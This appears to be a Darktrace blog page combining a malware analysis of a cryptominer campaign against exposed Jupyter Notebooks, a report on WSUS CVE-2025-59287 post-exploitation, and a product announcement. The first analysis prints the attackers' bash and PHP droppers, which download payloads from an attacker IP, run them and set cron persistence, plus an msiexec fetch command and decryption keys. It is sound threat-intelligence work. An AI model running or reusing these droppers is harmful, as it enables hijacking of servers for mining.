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March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher
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13
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher

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October 30, 2025

WSUS Exploited: Darktrace’s Analysis of Post-Exploitation Activities Related to CVE-2025-59287

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Introduction

On October 14, 2025, Microsoft disclosed a new critical vulnerability affecting the Windows Server Update Service (WSUS), CVE-2025-59287.  Exploitation of the vulnerability could allow an unauthenticated attacker to remotely execute code [1][6].

WSUS allows for centralized distribution of Microsoft product updates [3]; a server running WSUS is likely to have significant privileges within a network making it a valuable target for threat actors. While WSUS servers are not necessarily expected to be open to the internet, open-source intelligence (OSINT) has reported  thousands of publicly exposed instances that may be vulnerable to exploitation [2].

Microsoft’s initial ‘Patch Tuesday’ update for this vulnerability did not fully mitigate the risk, and so an out-of-band update followed on October 23 [4][5] . Widespread exploitation of this vulnerability started to be observed shortly after the security update [6], prompting CISA to add CVE-2025-59287 to its Known Exploited Vulnerability Catalog (KEV) on October 24 [7].

Attack Overview

The Darktrace Threat Research team have recently identified multiple potential cases of CVE-2025-59287 exploitation, with two detailed here. While the likely initial access method is consistent across the cases, the follow-up activities differed, demonstrating the variety in which such a CVE can be exploited to fulfil each attacker’s specific goals.

The first signs of suspicious activity across both customers were detected by Darktrace on October 24, the same day this vulnerability was added to CISA’s KEV. Both cases discussed here involve customers based in the United States.

Case Study 1

The first case, involving a customer in the Information and Communication sector, began with an internet-facing device making an outbound connection to the hostname webhook[.]site. Observed network traffic indicates the device was a WSUS server.

OSINT has reported abuse of the workers[.]dev service in exploitation of CVE-2025-59287, where enumerated network information gathered through running a script on the compromised device was exfiltrated using this service [8].

In this case, the majority of connectivity seen to webhook[.]site involved a PowerShell user agent; however, cURL user agents were also seen with some connections taking the form of HTTP POSTs. This connectivity appears to align closely with OSINT reports of CVE-2025-59287 post-exploitation behaviour [8][9].

Connections to webhook[.]site continued until October 26. A single URI was seen consistently until October 25, after which the connections used a second URI with a similar format.

Later on October 26, an escalation in command-and-control (C2) communication appears to have occurred, with the device starting to make repeated connections to two rare workers[.]dev subdomains (royal-boat-bf05.qgtxtebl.workers[.]dev & chat.hcqhajfv.workers[.]dev), consistent with C2 beaconing. While workers[.]dev is associated with the legitimate Cloudflare Workers service, the service is commonly abused by malicious actors for C2 infrastructure. The anomalous nature of the connections to both webhook[.]site and workers[.]dev led to Darktrace generating multiple alerts including high-fidelity Enhanced Monitoring alerts and alerts for Darktrace’s Autonomous Response.

Infrastructure insight

Hosted on royal-boat-bf05.qgtxtebl.workers[.]dev is a Microsoft Installer file (MSI) named v3.msi.

Screenshot of v3.msi content.
Figure 1: Screenshot of v3.msi content.

Contained in the MSI file is two Cabinet files named “Sample.cab” and “part2.cab”. After extracting the contents of the cab files, a file named “Config” and a binary named “ServiceEXE”. ServiceEXE is the legitimate DFIR tool Velociraptor, and “Config” contains the configuration details, which include chat.hcqhajfv.workers[.]dev as the server_url, suggesting that Velociraptor is being used as a tunnel to the C2. Additionally, the configuration points to version 0.73.4, a version of Velociraptor that is vulnerable to CVE-2025-6264, a privilege escalation vulnerability.

 Screenshot of Config file.
Figure 2: Screenshot of Config file.

Velociraptor, a legitimate security tool maintained by Rapid7, has been used recently in malicious campaigns. A vulnerable version of tool has been used by threat actors for command execution and endpoint takeover, while other campaigns have used Velociraptor to create a tunnel to the C2, similar to what was observed in this case [10] .

The workers[.]dev communication continued into the early hours of October 27. The most recent suspicious behavior observed on the device involved an outbound connection to a new IP for the network - 185.69.24[.]18/singapure - potentially indicating payload retrieval.

The payload retrieved from “/singapure” is a UPX packed Windows binary. After unpacking the binary, it is an open-source Golang stealer named “Skuld Stealer”. Skuld Stealer has the capabilities to steal crypto wallets, files, system information, browser data and tokens. Additionally, it contains anti-debugging and anti-VM logic, along with a UAC bypass [11].

A timeline outlining suspicious activity on the device alerted by Darktrace.
Figure 3: A timeline outlining suspicious activity on the device alerted by Darktrace.

Case Study 2

The second case involved a customer within the Education sector. The affected device was also internet-facing, with network traffic indicating it was a WSUS server

Suspicious activity in this case once again began on October 24, notably only a few seconds after initial signs of compromise were observed in the first case. Initial anomalous behaviour also closely aligned, with outbound PowerShell connections to webhook[.]site, and then later connections, including HTTP POSTs, to the same endpoint with a cURL user agent.

While Darktrace did not observe any anomalous network activity on the device after October 24, the customer’s security integration resulted in an additional alert on October 27 for malicious activity, suggesting that the compromise may have continued locally.

By leveraging Darktrace’s security integrations, customers can investigate activity across different sources in a seamless manner, gaining additional insight and context to an attack.

A timeline outlining suspicious activity on the device alerted by Darktrace.
Figure 4: A timeline outlining suspicious activity on the device alerted by Darktrace.

Conclusion

Exploitation of a CVE can lead to a wide range of outcomes. In some cases, it may be limited to just a single device with a focused objective, such as exfiltration of sensitive data. In others, it could lead to lateral movement and a full network compromise, including ransomware deployment. As the threat of internet-facing exploitation continues to grow, security teams must be prepared to defend against such a possibility, regardless of the attack type or scale.

By focussing on detection of anomalous behaviour rather than relying on signatures associated with a specific CVE exploit, Darktrace is able to alert on post-exploitation activity regardless of the kind of behaviour seen. In addition, leveraging security integrations provides further context on activities beyond the visibility of Darktrace / NETWORKTM, enabling defenders to investigate and respond to attacks more effectively.

With adversaries weaponizing even trusted incident response tools, maintaining broad visibility and rapid response capabilities becomes critical to mitigating post-exploitation risk.

Credit to Emma Foulger (Global Threat Research Operations Lead), Tara Gould (Threat Research Lead), Eugene Chua (Principal Cyber Analyst & Analyst Team Lead), Nathaniel Jones (VP, Security & AI Strategy, Field CISO),

Edited by Ryan Traill (Analyst Content Lead)

Appendices

References

1.        https://nvd.nist.gov/vuln/detail/CVE-2025-59287

2.    https://www.bleepingcomputer.com/news/security/hackers-now-exploiting-critical-windows-server-wsus-flaw-in-attacks/

3.    https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus

4.    https://www.cisa.gov/news-events/alerts/2025/10/24/microsoft-releases-out-band-security-update-mitigate-windows-server-update-service-vulnerability-cve

5.    https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287

6.    https://thehackernews.com/2025/10/microsoft-issues-emergency-patch-for.html

7.    https://www.cisa.gov/known-exploited-vulnerabilities-catalog

8.    https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability

9.    https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/

10. https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/

11. https://github.com/hackirby/skuld

Darktrace Model Detections

·       Device / New PowerShell User Agent

·       Anomalous Connection / Powershell to Rare External

·       Compromise / Possible Tunnelling to Bin Services

·       Compromise / High Priority Tunnelling to Bin Services

·       Anomalous Server Activity / New User Agent from Internet Facing System

·       Device / New User Agent

·       Device / Internet Facing Device with High Priority Alert

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

·       Anomalous Server Activity / Rare External from Server

·       Compromise / Agent Beacon (Long Period)

·       Device / Large Number of Model Alerts

·       Compromise / Agent Beacon (Medium Period)

·       Device / Long Agent Connection to New Endpoint

·       Compromise / Slow Beaconing Activity To External Rare

·       Security Integration / Low Severity Integration Detection

·       Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

·       Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block

·       Antigena / Network / External Threat / Antigena Suspicious Activity Block

·       Antigena / Network / Significant Anomaly / Antigena Significant Server Anomaly Block

List of Indicators of Compromise (IoCs)

IoC - Type - Description + Confidence

o   royal-boat-bf05.qgtxtebl.workers[.]dev – Hostname – Likely C2 Infrastructure

o   royal-boat-bf05.qgtxtebl.workers[.]dev/v3.msi - URI – Likely payload

o   chat.hcqhajfv.workers[.]dev – Hostname – Possible C2 Infrastructure

o   185.69.24[.]18 – IP address – Possible C2 Infrastructure

o   185.69.24[.]18/bin.msi - URI – Likely payload

o   185.69.24[.]18/singapure - URI – Likely payload

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

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Emma Foulger
Global Threat Research Operations Lead

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October 24, 2025

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents

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Most risk management programs remain anchored in enumeration: scanning every asset, cataloging every CVE, and drowning in lists that rarely translate into action. Despite expensive scanners, annual pen tests, and countless spreadsheets, prioritization still falters at two critical points.

Context gaps at the device level: It’s hard to know which vulnerabilities actually matter to your business given existing privileges, what software it runs, and what controls already reduce risk.

Business translation: Even when the technical priority is clear, justifying effort and spend in financial terms—especially across many affected devices—can delay action. Especially if it means halting other areas of the business that directly generate revenue.

The result is familiar: alert fatigue, “too many highs,” and remediation that trails behind the threat landscape. Darktrace / Proactive Exposure Management addresses this by pairing precise, endpoint‑level context with clear, financial insight so teams can prioritize confidently and mobilize faster.

A powerful combination: No-Telemetry Endpoint Agent + Cost-Benefit Analysis

Darktrace / Proactive Exposure Management now uniquely combines technical precision with business clarity in a single workflow.  With this release, Darktrace / Proactive Exposure Management delivers a more holistic approach, uniting technical context and financial insight to drive proactive risk reduction. The result is a single solution that helps security teams stay ahead of threats while reducing noise, delays, and complexity.

  • No-Telemetry Endpoint: Collects installed software data and maps it to known CVEs—without network traffic—providing device-level vulnerability context and operational relevance.
  • Cost-Benefit Analysis for Patching: Calculates ROI by comparing patching effort with potential exploit impact, factoring in headcount time, device count, patch difficulty, and automation availability.

Introducing the No-Telemetry Endpoint Agent

Darktrace’s new endpoint agent inventories installed software on devices and maps it to known CVEs without collecting network data so you can prioritize using real device context and available security controls.

By grounding vulnerability findings in the reality of each endpoint, including its software footprint and existing controls, teams can cut through generic severity scores and focus on what matters most. The agent is ideal for remote devices, BYOD-adjacent fleets, or environments standardizing on Darktrace, and is available without additional licensing cost.

Darktrace / Proactive Exposure Management user interface
Figure 1: Darktrace / Proactive Exposure Management user interface

Built-In Cost-Benefit Analysis for Patching

Security teams often know what needs fixing but stakeholders need to understand why now. Darktrace’s new cost-benefit calculator compares the total cost to patch against the potential cost of exploit, producing an ROI for the patch action that expresses security action in clear financial terms.

Inputs like engineer time, number of affected devices, patch difficulty, and automation availability are factored in automatically. The result is a business-aligned justification for every patching decision—helping teams secure buy-in, accelerate approvals, and move work forward with one-click ticketing, CSV export, or risk acceptance.

Darktrace / Proactive Exposure Management Cost Benefit Analysis
Figure 2: Darktrace / Proactive Exposure Management Cost Benefit Analysis

A Smarter, Faster Approach to Exposure Management

Together, the no-telemetry endpoint and Cost–Benefit Analysis advance the CTEM motion from theory to practice. You gain higher‑fidelity discovery and validation signals at the device level, paired with business‑ready justification that accelerates mobilization. The result is fewer distractions, clearer priorities, and faster measurable risk reduction. This is not from chasing every alert, but by focusing on what moves the needle now.

  • Smarter Prioritization: Device‑level context trims noise and spotlights the exposures that matter for your business.
  • Faster Decisions: Built‑in ROI turns technical urgency into executive clarity—speeding approvals and action.
  • Practical Execution: Privacy‑conscious endpoint collection and ticketing/export options fit neatly into existing workflows.
  • Better Outcomes: Close the loop faster—discover, prioritize, validate, and mobilize—on the same operating surface.

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

Join our Live Launch Event

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December 9, 2025

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Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

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